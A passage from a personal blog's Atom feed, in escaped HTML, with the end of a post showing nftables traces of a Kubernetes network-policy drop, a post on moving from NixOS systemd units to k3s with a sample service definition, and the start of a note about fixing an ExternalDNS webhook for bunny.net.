&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;filter&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-NWPLCY-ZYSQVVSY5LQY7Q46&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rule&lt;/span&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;limit&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rate&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;10/minute&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;burst&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;10&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packets&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;meta&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;mark&lt;/span&gt; &amp;amp; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;x00010000&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;x00010000&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;counter&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packets&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;5&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;bytes&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;300&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;log&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prefix&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;DROP by policy monitoring/prometheus-k8s&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;group&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;100&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;verdict&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;filter&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-POD-FW-FIAOHC4WHRKERAQ6&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rule&lt;/span&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;meta&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;mark&lt;/span&gt; &amp;amp; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;x00010000&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;!=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;x00010000&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;limit&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rate&lt;/span&gt; &lt;span style=&quot;color: #f5c2e7;&quot;&gt;10/minute&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;burst&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;10&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packets&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;counter&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packets&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;5&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;bytes&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;300&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;log&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;group&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #fab387;&quot;&gt;100&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;verdict&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;filter&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-POD-FW-FIAOHC4WHRKERAQ6&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rule&lt;/span&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;meta&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;mark&lt;/span&gt; &amp;amp; &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;x00010000&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;!=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;x00010000&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;counter&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packets&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;5&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;bytes&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;300&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;reject&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;verdict&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;drop&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What’s that? &lt;code&gt;log prefix &amp;quot;DROP by policy monitoring/prometheus-k8s&amp;quot;&lt;/code&gt;?? Guuaaaaauuuuu.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>devops? devops! (part 1)</title>
    <updated>2025-08-18T05:11:08Z</updated>
    <id>https://kivikakk.ee/2025/08/18/devops-devops-part-1</id>
    <link href="https://kivikakk.ee/2025/08/18/devops-devops-part-1" />

    <content type="html">&lt;p&gt;&lt;em&gt;This is part 1 of x in a series.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I have spent most of my life avoiding DevOps-y type things. At GitHub I got familiar enough with &lt;code&gt;kubectl&lt;/code&gt; to help debug the applications I had deployed on it, but that was almost a decade ago and I don’t remember a single bit of it.&lt;/p&gt;
&lt;p&gt;Most of the things I run I deploy with a really simple systemd unit definition in the Nix module. &lt;a href=&quot;https://nossa.ee/~talya/kv/blob/main/bf49821bb93a0893b46c10e870782c5c78f73d95/nix/module.nix?k=Xo56qgYixxY-BZMKJjImRML1eWZYgLH8W8UBNuah2f8%3D#L140-L166&quot;&gt;Here’s an excerpt from the one&lt;/a&gt; for the Elixir app this blog ran on:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;systemd&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;services&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kv&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;description&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;kv&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;enableStrictShellChecks&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;wantedBy&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;multi-user.target&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;after&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;kv-migrations.service&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;requires&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;postgresql.service&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;kv-migrations.service&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;script&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;      &lt;span style=&quot;color: #cba6f7;&quot;&gt;export&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;KV_STORAGE_ROOT&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;STATE_DIRECTORY&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;envVarScript&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;cfg&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;package&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;/bin/kv-server&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;serviceConfig&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;User&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cfg&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ProtectSystem&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;strict&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;PrivateTmp&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;true&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;UMask&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;0007&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;Restart&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;on-failure&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;RestartSec&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;10s&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;StateDirectory&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;kv&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;StateDirectoryMode&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;0750&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;  
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;inherit&lt;/span&gt; environment&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s very basic, and it worked beautifully! I &lt;em&gt;love&lt;/em&gt; that, with NixOS, you can package a reproducible build (with all its dependencies), deployment strategy, and configuration schema all in one place. It’s so damn clean, and it works wonderfully for homelab- or personal services-scale systems. (For more, try &lt;a href=&quot;https://xeiaso.net/talks/asg-2023-nixos/&quot;&gt;Xe’s All Systems Go! talk, Writing your own NixOS modules for fun and (hopefully) profit&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;The downside is that this is not exactly a high-availability setup. When any of the dependencies of a service like this change — such as a new &lt;code&gt;cfg.package&lt;/code&gt;, or change in &lt;code&gt;environment&lt;/code&gt; — the result is that the existing service is stopped, the service is swapped out, and then the new one is started.&lt;/p&gt;
&lt;p&gt;There can often be 10–30 seconds between the stop and start, depending on how much else the &lt;code&gt;nixos-rebuild&lt;/code&gt; has to do. And while a failing build won’t leave you with a stopped service — you won’t even get that far — if the build succeeds, but the new service fails to come up for some reason, then you’ll be scrambling fast.&lt;/p&gt;
&lt;p&gt;This being NixOS, getting your service back up is as easy as switching to the previous generation, and can be done very fast, but still, it’s not great. Realising this, and still very much wanting to use Nix as a &lt;em&gt;build orchestrator&lt;/em&gt; in places where this isn’t an acceptable trade-off, it was time to learn a devops.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Structurally, Kubernetes seems relatively sound, giving us language for defining the shape of a deployed system upon many different axes. It is very YAML and it is very containers, neither of which I am the hugest fan of, but I felt pretty sure there would be tools to help with the former, and Nix my beloved has beautiful solutions for the latter.&lt;/p&gt;
&lt;p&gt;If, like me before the start of this exercise, you don’t really know about the model Kubernetes gives you to work with, you might find useful &lt;a href=&quot;https://blog.davidv.dev/posts/first-contact-with-k8s/&quot;&gt;David Ventura’s blog post, A skeptic’s first contact with Kubernetes&lt;/a&gt;. If I had found it before and not immediately after coming this far it would’ve been super helpful -_-&lt;/p&gt;
&lt;p&gt;One thing worth mentioning is that, as a Very Nix Person (and Very Dissociated Person), I really need my infrastructure to be described in a version-controlled way. Ideally, I would be able to tie all of my infra back into the same place (which is &lt;a href=&quot;https://nossa.ee/~talya/vyx&quot;&gt;vyx&lt;/a&gt;, a Nix flake).&lt;/p&gt;
&lt;p&gt;So I decide to start up a cluster and begin experimenting. I hate Docker, Inc. with a passion — I will &lt;strong&gt;never&lt;/strong&gt; forgive them for getting rid of &lt;a href=&quot;https://s3.hrzn.ee/kvp/whalyhappy.png&quot;&gt;Docker for Mac’s cute whale&lt;/a&gt; — plus I want to learn somewhere where I can actually deploy things, so I decide to start with &lt;a href=&quot;https://k3s.io/&quot;&gt;k3s&lt;/a&gt; on my VPS. How I chose k3s to begin with, I’m not so sure — maybe because it has relatively few options exposed in its Nix module. Lightweight sounds good, and it’s a “certified Kubernetes distribution”. Whatever that means, it must be good!&lt;/p&gt;
&lt;p&gt;NixOS has the option &lt;a href=&quot;https://search.nixos.org/options?channel=25.05&amp;amp;show=services.k3s.manifests&amp;amp;from=0&amp;amp;size=50&amp;amp;sort=relevance&amp;amp;type=packages&amp;amp;query=k3s&quot;&gt;&lt;code&gt;services.k3s.manifests&lt;/code&gt;&lt;/a&gt;, which is described as “auto-deploying manifests”. Perhaps this is the magic sauce I need to get my infrastructure as code!?&lt;/p&gt;
&lt;p&gt;(The answer is, no, it isn’t — the entire cluster is restarted when you change its values, because NixOS. Teehee.)&lt;/p&gt;
&lt;p&gt;Nonetheless, I struggled through writing some early manifests this way. Writing YAML in Nix is way better than writing YAML, and very easy to parameterise, extract functions, and so on. I had seen mention of Helm charts here and there, and while I felt like one day I would need to come to terms with them, I preferred to leave that until as late an opportunity as possible. As a bonus, using k3s auto-deploying manifests in this way meant I could write a NixOS module &lt;em&gt;to deploy an application in Kubernetes&lt;/em&gt;, without a single line of raw YAML.&lt;/p&gt;
&lt;p&gt;So, terrible in many respects — now bringing down an &lt;em&gt;entire cluster&lt;/em&gt; on each change instead of just the relevant services (!!!) — but an introduction nonetheless. We are now at the point of &lt;a href=&quot;https://kivikakk.ee/2025/05/30/siguiente&quot;&gt;siguiente&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Decided to turn that homelab server into a gaming PC instead, haha psyche! Instead decided to learn better how to cross-build things and operate k3s without trying to shove everything through a NixOS module.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Part 2 will cover building our own software ready for orchestration (using Nix — we won’t write a single &lt;code&gt;Dockerfile&lt;/code&gt;, promise, and as a little bit of a spoiler, we won’t write a single Go template either), and the unique fun presented by developing on &lt;code&gt;aarch64-darwin&lt;/code&gt; while largely deploying to &lt;code&gt;x86_64-linux&lt;/code&gt;. :)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>external-dns-bunny-webhook</title>
    <updated>2025-08-18T05:03:29Z</updated>
    <id>https://kivikakk.ee/2025/08/18/external-dns-bunny-webhook</id>
    <link href="https://kivikakk.ee/2025/08/18/external-dns-bunny-webhook" />

    <content type="html">&lt;p&gt;Just a quick field report. I wanted to try &lt;a href=&quot;https://github.com/kubernetes-sigs/external-dns&quot;&gt;ExternalDNS&lt;/a&gt;; I use &lt;a href=&quot;https://bunny.net/&quot;&gt;bunny.net&lt;/a&gt; (obviously), and found &lt;a href=&quot;https://github.com/contaimlabs/external-dns-bunny-webhook&quot;&gt;&lt;code&gt;external-dns-bunny-webhook&lt;/code&gt;&lt;/a&gt;! Perfect!&lt;/p&gt;
&lt;p&gt;Only, it crash looped on startup. After asking myself whether I was really bothered enough to try getting a development environment setup for this (and then asking Annie, who helped resolve it to a yes), I rewrote the build process and development environment in Nix and got a fork with a fix going.&lt;/p&gt;
